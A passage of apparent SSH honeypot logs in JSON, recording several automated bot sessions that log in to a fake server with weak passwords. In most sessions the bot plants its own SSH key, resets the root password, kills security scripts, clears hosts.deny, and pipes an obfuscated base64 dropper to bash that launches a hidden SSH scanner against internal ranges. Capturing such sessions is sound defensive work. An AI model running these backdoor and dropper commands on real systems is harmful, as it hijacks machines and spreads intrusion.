\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T16:54:10.608194+00:00","kind":"output","latency_ms":573,"data":""},{"seq":47,"at":"2026-08-20T16:54:18.687924+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T16:54:18.688565+00:00","kind":"output","latency_ms":null,"data":"leandro"}],"credentials":[{"username":"leandro","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"a09265ce-7df6-487c-b00d-1f24a248165f","name":"canny-restless-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"186.248.197.77","src_port":45656,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":412,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:59:14.353436+00:00","ended_at":"2026-08-20T12:59:14.478176+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3733,"events":[{"seq":1,"at":"2026-08-20T12:58:39.119247+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:58:39.532077+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:58:43.545082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:58:44.133062+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":5,"at":"2026-08-20T12:58:44.544969+00:00","kind":"input","latency_ms":null,"data":"echo \"root:8thtrH5KGcXe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:58:44.958108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:58:45.038331+00:00","kind":"output","latency_ms":492,"data":""},{"seq":8,"at":"2026-08-20T12:58:45.368032+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:58:46.002435+00:00","kind":"output","latency_ms":633,"data":"AMD EPYC 7713 64-Core Processor\n"},{"seq":10,"at":"2026-08-20T12:58:46.412838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:58:47.042495+00:00","kind":"output","latency_ms":628,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:58:47.455535+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:58:48.260736+00:00","kind":"output","latency_ms":804,"data":"-rwxr-xr-x 1 root root 142K Jan 17 2024 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:58:48.674116+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:58:49.651513+00:00","kind":"output","latency_ms":976,"data":"* * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n0 * * * * /opt/stable/bin/gallop-backup.sh >/var/log/gallop-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:58:50.064996+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:58:51.284147+00:00","kind":"output","latency_ms":1216,"data":" 03:09:53 up 9:48, 1 user, load average: 0.08, 0.04, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 03:09 0.00s 0.02s 0.00s w\n"},{"seq":18,"at":"2026-08-20T12:58:51.695265+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:58:51.695701+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:58:52.108567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:58:52.569320+00:00","kind":"output","latency_ms":460,"data":"64"},{"seq":22,"at":"2026-08-20T12:58:52.982265+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:58:52.982789+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:52 up 9:48, 0 user, load average: 0.18, 0.23, 0.19\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 535 free, 420 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:58:53.395486+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:58:53.395800+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:58:53.809340+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:58:53.809742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:58:54.220885+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:58:54.221593+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:58:54.633702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:58:56.540033+00:00","kind":"output","latency_ms":1904,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:58:56.951684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:58:57.426619+00:00","kind":"output","latency_ms":473,"data":"24G"},{"seq":34,"at":"2026-08-20T12:58:58.882678+00:00","kind":"input","latency_ms":null,"data":"echo \"root meng123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:58:59.293154+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:58:59.702966+00:00","kind":"output","latency_ms":409,"data":""},{"seq":37,"at":"2026-08-20T12:59:00.739638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:59:01.259426+00:00","kind":"output","latency_ms":522,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:59:01.679638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:59:02.653206+00:00","kind":"output","latency_ms":972,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:59:03.071054+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:59:03.488357+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:59:04.131524+00:00","kind":"output","latency_ms":643,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:59:04.549073+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:59:05.268591+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:59:05.685671+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:59:06.191707+00:00","kind":"output","latency_ms":505,"data":""},{"seq":48,"at":"2026-08-20T12:59:14.354533+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:59:14.355038+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"meng123456","method":"password","accepted":true,"tier":"other"}]} {"id":"9d97c634-71cf-4395-9707-f7b02c0c87c2","name":"deft-frank-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"139.59.28.125","src_port":34268,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":678,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:57:42.460636+00:00","ended_at":"2026-08-20T12:57:42.669225+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3631,"events":[{"seq":1,"at":"2026-08-20T12:56:59.098069+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:56:59.775443+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:57:05.325871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:57:05.863672+00:00","kind":"output","latency_ms":536,"data":"1"},{"seq":5,"at":"2026-08-20T12:57:06.541229+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Vr6mUc0sST4y\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:57:07.218578+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:57:07.450343+00:00","kind":"output","latency_ms":909,"data":""},{"seq":8,"at":"2026-08-20T12:57:07.895223+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:57:08.466969+00:00","kind":"output","latency_ms":572,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:57:09.143085+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:57:09.864544+00:00","kind":"output","latency_ms":720,"data":"956 956 0 0 0 0"},{"seq":12,"at":"2026-08-20T12:57:10.541593+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:57:11.362777+00:00","kind":"output","latency_ms":820,"data":"-rwxr-xr-x 1 root root 142K Feb 11 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:57:12.040093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:57:13.013154+00:00","kind":"output","latency_ms":971,"data":"# m h dom mon dow command\n*/5 * * * * /opt/stable/bin/muck-out.sh >> /var/log/muck-out.log 2>&1\n0 2 * * * /opt/stable/bin/gallop-backup.sh\n*/10 * * * * /opt/stable/bin/hoofcheck.sh\n15 3 * * * /opt/stable/bin/canter-deploy.sh\n"},{"seq":16,"at":"2026-08-20T12:57:13.692359+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:57:14.974077+00:00","kind":"output","latency_ms":1281,"data":" 10:56:42 up 9:47, 1 user, load average: 0.05, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:55 1.00s 0.03s 0.01s w"},{"seq":18,"at":"2026-08-20T12:57:15.650687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:57:15.651406+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:57:16.329899+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:57:17.206105+00:00","kind":"output","latency_ms":875,"data":"1"},{"seq":22,"at":"2026-08-20T12:57:17.883293+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:57:17.884021+00:00","kind":"output","latency_ms":null,"data":"top - 12:57:17 up 9:47, 0 user, load average: 0.32, 0.4, 0.37\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 554 free, 401 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:57:18.564099+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:57:18.564711+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:57:19.246371+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:57:19.246839+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:57:19.922468+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:57:19.923672+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:57:20.604146+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:57:21.097071+00:00","kind":"output","latency_ms":496,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:57:21.773534+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:57:22.342037+00:00","kind":"output","latency_ms":567,"data":"24G"},{"seq":34,"at":"2026-08-20T12:57:24.646245+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin1234!@\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:57:25.323145+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:57:25.876444+00:00","kind":"output","latency_ms":553,"data":""},{"seq":37,"at":"2026-08-20T12:57:27.697393+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:57:28.418040+00:00","kind":"output","latency_ms":719,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:57:29.096052+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:57:29.603323+00:00","kind":"output","latency_ms":506,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:57:30.281556+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:57:30.958886+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:57:31.820029+00:00","kind":"output","latency_ms":859,"data":"1"},{"seq":44,"at":"2026-08-20T12:57:32.515145+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:57:33.098590+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":46,"at":"2026-08-20T12:57:33.776586+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:57:34.403536+00:00","kind":"output","latency_ms":626,"data":""},{"seq":48,"at":"2026-08-20T12:57:42.463099+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:57:42.463666+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin1234!@","method":"password","accepted":true,"tier":"other"}]} {"id":"46fb043f-7cad-43ac-afbe-b504a2611f5e","name":"frosty-barren-cheetah","protocol":"ssh","channel_kind":"exec","src_ip":"92.47.46.174","src_port":59806,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":687,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:49:42.507032+00:00","ended_at":"2026-08-20T12:49:42.722243+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3732,"events":[{"seq":1,"at":"2026-08-20T12:48:54.656532+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:48:55.341102+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:49:01.252389+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:49:01.903115+00:00","kind":"output","latency_ms":650,"data":"1"},{"seq":5,"at":"2026-08-20T12:49:02.589127+00:00","kind":"input","latency_ms":null,"data":"echo \"root:40oemOI5b3Nd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:49:03.227830+00:00","kind":"output","latency_ms":638,"data":""},{"seq":7,"at":"2026-08-20T12:49:03.274293+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-20T12:49:03.962116+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:49:04.560692+00:00","kind":"output","latency_ms":597,"data":"AMD EPYC 7713 64-Core Processor x1"},{"seq":10,"at":"2026-08-20T12:49:05.459718+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:49:06.027214+00:00","kind":"output","latency_ms":566,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:49:06.715155+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:49:07.383760+00:00","kind":"output","latency_ms":667,"data":"-rwxr-xr-x 1 root root 148K Apr 8 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:49:08.072481+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:49:09.078501+00:00","kind":"output","latency_ms":1004,"data":"0 3 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n15 2 * * 1 /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:49:09.764771+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:49:10.936440+00:00","kind":"output","latency_ms":1156,"data":" 10:48:53 up 9:39, 1 user, load average: 0.01, 0.03, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 10:47 1.00s 0.02s 0.00s w"},{"seq":18,"at":"2026-08-20T12:49:11.625012+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:49:11.625947+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:49:12.313689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:49:12.880354+00:00","kind":"output","latency_ms":566,"data":"64"},{"seq":22,"at":"2026-08-20T12:49:13.572198+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:49:13.572811+00:00","kind":"output","latency_ms":null,"data":"top - 12:49:13 up 9:39, 0 user, load average: 0.14, 0.14, 0.12\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 372 free, 583 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:49:14.260387+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:49:14.260700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:49:14.947742+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:49:14.948566+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:49:15.643087+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:49:15.643587+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:49:16.330281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep 